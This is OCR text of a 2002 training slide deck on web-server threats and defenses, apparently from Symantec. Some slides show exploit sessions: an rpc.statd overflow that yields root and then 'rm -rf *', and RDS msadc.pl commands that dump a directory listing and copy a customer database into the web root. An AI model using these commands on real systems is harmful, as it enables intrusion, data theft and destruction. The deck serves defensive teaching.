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* The threat
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I: The Threat
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he Threat

» What is the threat?

= Host based attacks

= Web server vulnerabilities
= Server side scripting

= Client side scripting
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What Is The Threat?

= Web site defacement

- Simple page modifications
— The most common and easy to detect

— Modify the complete contents of a web page (most common is the
front page)

« Information modifications

— Changing key information to represent another view (potentially one of
the most serious)

- Reference modifications
— Adding additional reference links to an online article
— Intent may be to discredit, confuse or change the article theme

= Embarrassment

= Recovery
« Can it be recovered?
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Web Site Defacement

= Loss of confidential data
- Customer data
- Corporate data

- System data

= Web server compromise
- Server may be used to attack other systems in your enterprise

- Participate in the spreading of worms or as a DDoS zombie

= Web server accessibility
- Availability of information

- Business stoppage

= Loss of customers and revenue
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Web Site Defacements
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Host Based
Attacks
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Host Based Attacks

= Attacks against the web server

and its supporting network

= Attempt to gain control of the

8/1/02

server

Once the attacker has gained
control, they can modify, delete
or steal information or services
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Statd Buffer Overflow
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[ /bin/bash M= E3

; File Sessions Options Help

# Uname -a

Linux mail.aphacom.net 2.2.17-14 #1 Mon Feb 5 16:02:20
EST 2001 1686 unknown

# statdx -d 0 ftp.wishing-bear.com

target: Oxbffff718 new: Oxbffff56c (offset: 600)

wiping 9 dwords

clnt call(): RPC: Timed out

A timeout was expected. Attempting connection to shell..
OMG'! You now have rpc.statd technique!@#$!

uid=0 (root) gid=0 (root)

Uname -a

Linux ftp.wishing-bear.com 2.2.17-14 #1 Mon Feb 5
16:02:20 EST 2001 i686 unknown

Cd/ ; rm -rf *
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Web Server
Vulnerabilities
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Deface Web Sites

Router Hub

Overwrite Target
Website

Linux Server
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Stealing Credit Card Information

—
Router Hub
Download Credit
card information

Linux Server
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ME Command Prompt

C:\ perl msadc.pl -h 10.10.24.16 -v
-— RDS exploit by rain forest puppy / ADM / Wiretrip --

Please type the NT commandline you want to run (cmd /c assumed) :
cmd /c dir /b c:\*.* /s > c:\inetpub\wwwroot\hack.htm

Step 1: Trying raw driver to btcustmr.mdb

Step 2: Trying to make our own DSN...
Step 3: Trying known DSNs....

AdvWorks successful
Success!
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ME Command Prompt

C:\ perl msadc.pl -h 10.10.24.16 -v
-— RDS exploit by rain forest puppy / ADM / Wiretrip --

Please type the NT commandline you want to run (cmd /c assumed) :
cmd /c copy c:\inetpub\scripts\database\customer.mdb c:\inetpub\wwwro
ot\x.zip

Step 1: Trying raw driver to btcustmr.mdb

Step 2: Trying to make our own DSN...
Step 3: Trying known DSNs....

AdvWorks successful
Success!
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Server Side
Scripting
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Server Side Scripting

= Represents the second step for the World Wide Web
= Allows bi-directional communications

= Two categories of server side scripting

1. CGI (common gateway interface)
2. Embedded

« Used to create dynamic web pages (page hit counters, database
interface, input from dynamic sources, ...)

= One of the most common sources of web server vulnerabilities
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CGIl (Common Gateway Interface)

= External program code executed by the server on demand
- Called directly via URL

« Arguments can be passed to CGIl executable as part of the URL
http://your.Site.Com/cgi-bin/example?Arg1?Arg2

= Can be written in C or C++

» More commonly written in an interpreted language
- Perl
- Python
- TCL
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CGIl Exploits

8/1/02

Exploit design or coding flaws in CGI code

Three types of exploits possible
1. Execute commands on web server
2. Read system files from web server

3. Modify files on web server

One of the most common types of attacks for web servers

Possible to use web-based search engines to locate vulnerable

systems
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CGl Exploits
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' Mo
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Embedded Server Side Scripting

= Scripting content embedded
inside HTML content

» The most common types are:
- ASP (active server pages)

- PHP (PHP: hypertext processor)
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http: A /phpnuke. arg |

This module is to configure the main options for your site

This program is free software. vou can redistribute it and/sor modify
it under the terms of the GHNU General Fublic License as published by
the Free Software Foundation; either wersion 2 of the License.

AR A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A AR A A A A A A A A

B S O S S S

AR A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
# Database & System Config
#

# dbhost: MwSOL Database Hostname
# dbynames  Mwsol s e ame

$dbhost = "localhost"; reersssis
tdbuname = "phpdb-admin”;

tdbpass = "my-password';

tdbname = "nuke',

fsystem = 0;

tprefi= = nuke; oo
,fE AL the prampt use the following ID to Togin ([case sensitiwvel: E
* AdminID: Sod *

S* Password: Password F

”
JS* Be sure to change inmediately the God login & password clicking *F
A¥ on Edit Admin in the aAdmin menu. After that, click aon Freferences =/
S¥ to configure wour new site. In that menu wou can change all wou *F

A% need to change. * 7

b ”

S* Remewmber to chmod 66 this file in order to et the swystem write =fF *
4| 3

|@ Dane l_l_ (B Local inkranet
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KkMySCGLAdmIin - not connected - kmysaladmin
File Database Setup Help

& Sl S| € ER g
ER KMySQL - TableView [2][=][x]
Database: aelect Data Limit Cffs
Muke ] aid i I_ZI':' o7 Add Bow Search
Table | | Limit Cou i ‘
nuke_authors _jjur &fﬁ i
Sort by | email b ' '
aid B *"f Delete &l
I ~rnktar —_J T
arm & | o d
Gaod Faszward
Gol J Refresh DB-List Help _ Close
8/1/(05= i -




fa Killing Terrorism and money sources of terror - Microsoft Internet Explorer

o :
- .

Young Intelligent Hackers Against Terrar

NO TERROR = NO VICTIMS

vy il et

Search for accounts of terror arganizations.
|dentify money transactions related to terror.
Search for financial suppaorters of terror organizations.
Capture and deliver terror-related data to the LISA.

¥IHAT's mission is focused on one topic:

[ | Internet
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Client Side
Scripting
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Client Side Scripting

= Program code that is downloaded
to the client system to be
executed
» The most common types:
- Java
- ActiveX

= Code is referred to as applets
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he Solution

= Lock down network services
= Firewalls

= Don’t run as administrator

= Backend database servers

= Update, update, update!

= Find vulnerabilities before others
= Remote administration

= Secure web transactions

8/1/02
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Lock Down
Network Services
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[ /bin/bash M= E3

; File Sessions Options Help

# nmap -sS -0 ftp.wishing-bear.com www.wishing-bear.com

Starting nmap V. 2.12 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
Interesting ports on ftp.wishing-bear.com (10.0.0.2):

Port State Protocol Service
21 open TCP ftp
23 open TCP telnet
25 open TCP smtp
79 open TCP finger

TCP Sequence Prediction: Class=random positive increments
Difficulty=5691999 (Good luck!)

Remote overatina svstem quess: Linux 2.1.122 - 2.2.12

Interesting ports on www.wishing-bear.com (10.0.0.1):

Port State Protocol Service

135 open TCP loc-srv

139 open TCP netbios-ssn
1031 open TCP iad2

TCP Sequence Prediction: Class=trivial time dependency
Difficulty=3 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 2 IP addresses (2 hosts up) scanned in 5
seconds

#
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Firewalls
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Firewalls

= Allows you to limit the type of = Goal: Keep the bad guys out!
traffic passing between two or
»!‘Q

more networks
/(!
[ ]

- Block all incoming
- Allow all outgoing

- Select protocols can be allows in or
out

= Monitors both incoming and
outgoing traffic

» Typically placed between an
Internet and an Intranet / Extranet

* Firewalls really enforce policy for
traffic between the Intranet and
Internet/Extranet.
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The Web Server Behind the Firewall

= A common solution is to place
the web server behind the firewall

- The firewall is configured to only allow
the specific web related traffic to pass
through the firewall

« This traffic is restricted to the firewall
only

= The problem:

- There are currently tools that can be
downloaded from the Internet that
allow tunneling attacks through html
traffic.

- These could pass directly though the
firewall

- If the web server is compromised, the
entire Intranet is at risk
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Place the Web Server Behind a Firewall

May bethe sane i
firewd| wtharde i
‘ sa for each node i

| In\temet

Bot hthe | ntrana

and DMZ (web &
server) ae S\\/
pr ot ected S -
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Don’t Run Server
as Administrator
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How Should The Web Server Be Run As?

= Some web servers run with
administrative access

« Microsoft IIS

[/

) A

» The server has complete access
to all files on the system

- Read

_as

« Create

. Modify / .
= |f the server is compromised, the // Q -

attacker has complete control of d{
QTN

the system
R

8/1/02 49
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Running Servers As Administrator

o
Internet
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Who Should The Web Server Be Run As?

= [t may be possible to change the
user that the web server runs as

= For example, lets change the
configuration so that the web
server is run as another user
1. Add a non-administered account
called web-server

— The Apache web server is
often configured to use the
‘apache’ user

2. Change the system / server
configuration to start the web server
as this user
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Running Web Server As Web-Server User

=

Internet
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Who Should Own The Web Pages?

8/1/02

It is common that the web pages
are own by the same user that the
web server runs as

Either add another user, web-
pages, and make it the owner

Give the web-server user read
only access to the pages

On MS Windows:

- Add the web-server user to each web
pages access control list (ACL) with
read-only rights

On Unix / Linux:

- Add each web page to the web-server
group

- Change the access permissions for
each to give the group read only rights

. 4
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Web Pages Owned by Web-Page User

System Hles

Internet ..
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Backend
Database Servers
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Where Should A Database Be Placed?

8/1/02

The need for a database is an increasing requirement for website
deployments

« Customer data
- Product data
- Problem tracking

The information in the database may be very confidential
- You do not want the wrong persons to have access to it

Many typical website deployments include the database /
database server on the same system as the web server

If the database is going to be administered by someone from
within the Intranet, we must punch additional holes in the firewall

This increases the chance that our database and web server will
be compromised

56
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Putting the Database on the Web Server

We punch holesinthe web
servers firewall todlow
admngraion o the

| dat abase

! In\temet

The atacker my gan
accesstothedata
through these hd esin
thefirewdl
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Separate the services

= The attacker may also use the holes that were punched into the
web-servers firewall

- They may be able to read, write or modify data

« This is undesirable

= Another issue is that the two services are on the same system

- This increases the chance that if one service is compromised then the other
is also at risk

= Lets move the two services to separate systems
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Separate Services

___________________________

The databaseis gill at
risk t hrough t he
admndgraehdesinthe

| firewd |

f In\temet
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Move The Database Into The Intranet

= Lets move the database into our Intranet

- We add a special network connection from the DMZ (web server) to the
database so that it can be accessed

- The database can now be administered directly (we do not need to access it
through the firewall)

« We can close the database server holes in the firewall

= While this seems better, another problem arises

- If an attacker compromises either the web server or the database, the entire
Intranet may now be at risk
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Putting the Database in the Intranet

The dat abaseis il
a riskand soisthe
| trangt now

[ In\temet
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A Little More Protection Should Do The Trick

8/1/02

Lets add a second Network Interface Card (NIC) to the web
server and another to the database server

Now move the special connection so that it is now connected
directly from the web server to the database

- Now only the web server can communicate with the database server from the
DMZ side

To protect the Intranet in the event that the web server is
compromised, lets add another firewall
- Place It on the special network connection

- Limit traffic to the database server to only what the web server really needs
access to

- Restrict web server access only to the database server (no other)

Now we can directly administer the database without the need to
punch holes in the Internet firewall

62



, symantec.

Protect the Database With a Firewall

Thisismuch better I

! In\temet

The atackis
sopped beforeit
entersthe
| ntrang
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Update, Update,
Update
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Update, Update, Update

8/1/02

The majority of web server compromises are through known
vulnerabilities where an update / patch is available from the
vendor

Regularly check for vendor updates

Monitor one of the many vulnerability email lists that discuss
new vulnerabilities

- BUGTRAQ

- SANS

- Symantec Security Response lists

If a reliable automated update mechanism is available, use it
- All downloads should be cryptographically signed by the vendor
- Logs all update activity
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Find Your
Vulnerabilities g %

Before Others Do /‘
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Find Vulnerabilities Before Others

8/1/02

Find vulnerabilities before they can be exploited
Correct the problems that you find
Use the tools that the attackers use

Vulnerability scanners combine many of the exploits found in
hundreds of attack tools into a easy to use interface

- Detailed reports are created for review

- Most include suggested procedures to remove the vulnerability
Open source tools exist for small business and home users

Commercial products generally provide a better assessment
- Symantec ESM and NetRecon

67
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Scan For New Vulnerabilities

Activdy Sanfor
Vul nerahlities
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Nessus

Router

Scans Network Laptop
for vulnerabilities |

Linux Server
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— -4 |Hessus Setup . O X

Messusd hl:ustl Flugins | FPrefs. | Scan options [Target selection | Llserl Credits

-Target selection

Targetis) . |List of Systems Read fle.. |

_| Perfarm a DMS zone transfer

8/1/02 Start the scan Load report Quit _ -0
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— -4 |Nessus Report <3> . O X
Sumrmary = : — T
B & smip (25t4cp) -
Mumber of hosts tested : 3 SECUTY warnings

Securty holes

Found 7 securty holes
Found 25 security warnings

The remote SMTP server did not complain when issued the
S command :

g ggﬁiﬁﬂ E- MaIL FROM: rot@this_host B
g RCPT TO: [testing

This probably means that it is possible to send mail directly
to pragrams, which is a serious threat, since this allows
anyone to execute arbitrary command on this host.

MOTE : ™ This security hole might be a false positive, since
some MTAS will not complain o this test, and instead will
just drop the message silently ™

solution : upgrade your MTE ar change it.

Risk factar : High
CWE - CAN-1399-0163

|x| | =

_ Save as.. save as MNSR — Close |
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Remote
Administration
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he Need to Administer the Web Server

= Administration of a web server is a necessity

= A common practice to is connect (using telnet or some other
method) to the web server

= Many of these tools send data across the network in clear text

- This data can be read by anyone, including an attacker, using a network
sniffer

- Not only can the administrative actions be read, but also the login and
password information
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Network Traffic Is Sent in Clear Text

The atacker may
dsoseethsand gan

Admnidraor uses
tdng toadmn ster
thar web server
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Encryption Is the Key

= Encrypting the data being
transmitted will prevent others
from understanding the

administrative information
- They will still be able to sniff the
encrypted data

- It simply will not be readable

= For example, one very common
tools is the SSH (or OpenSSH)
program

4 9 9 ° +> o
e ©o 6 ¢ 0 o & o O

—77
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Protecting data with SSH

The atacker may see
ths but isunad eto
read the encrypt ed

___________________________

admnge thar

|
|
|
|
|
|
|
Adninigraor wses | y
secureshdl to | S
I L]
|
|

web ser ver
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Issues With SSH

8/1/02

SSH (and OpenSSH) is an
excellent program

It provides good encryption and
authentication

Unfortunately its use in this
situation does require that you
open your firewall to allow SSH
traffic through

- There have been a number of SSH

vulnerabilities discovered that that can
lead to compromise
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Using SSH
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Virtual Private Network (VPN) to the Rescue

= The use of a Virtual Private
Vetwork (VPN) provides a more
secure alternative

= |t can provide strong
authentication at the firewall

- You will still need to open up the fire
wall to allow VPN traffic

= Only authorized traffic will be
allowed through the firewall to the
web server
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Using a Virtual Private Network (VPN)

The VPN dso
encrypts dat a

Aut horizaion tothe
DMZ is verified &
thefirewdl
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Putting the Database on the Web Server
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Secure Web
transactions
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Protecting Confidential Transactions

= With the ever increasing use of the Web for eBusiness, a new
focus on protecting confidential data arises

Normal web traffic is in clear text (it is viewable to anyone who is able to
install a network sniffer into your network)

The threat of a DNS attacks removes any certainty that you really are
communicating with the indented web server

— An attacker can create a fake web site and attack the DNS server and
redirect web traffic to this site

= Secure Socket Layer (SSL) using cryptographic certificates can
be used to help deal with these issues

SSL enables encrypted communications that prevent confidential web
traffic from being read

Certificates provide a level of authentication that you are really talking to the
intended web server and not a imposter

A user certificate can also be used to authenticate who they are
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Secure Web Transactions

Web trafficis
encr ypted |
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Secure Web Transactions
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lll: Where Can | Find More Information?
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Where You Can Find More Information

Symantec Corporation

« http://www.symantec.com

Security Focus (Home of BUGTRAQ) Now owned by Symantec

« http://www.securityfocus.com

Packet Storm

« http://www.packetstormsecurity.com

CVE (Common Vulnerability and Exposures)

« http://cve.mitre.orq
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Where You Can Find More Information

SANS Institute

« http://www.sans.org

The Center for Internet Security

« http://www.cisecurity.org

Linux Security

« http://www.linuxsecurity.com

Network Security Library
- http://secinf.net
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I\V: Conclusion
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Conclusion

= Web site hacks represents one of the most command forms of
attack

« Downtime
« Embarrassment
« Lost revenue

= You have to understand the technical aspects to combat the
threat

= Remember that the first step to securing your site should be
the development of a security policy that fits your needs
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V: Questions?
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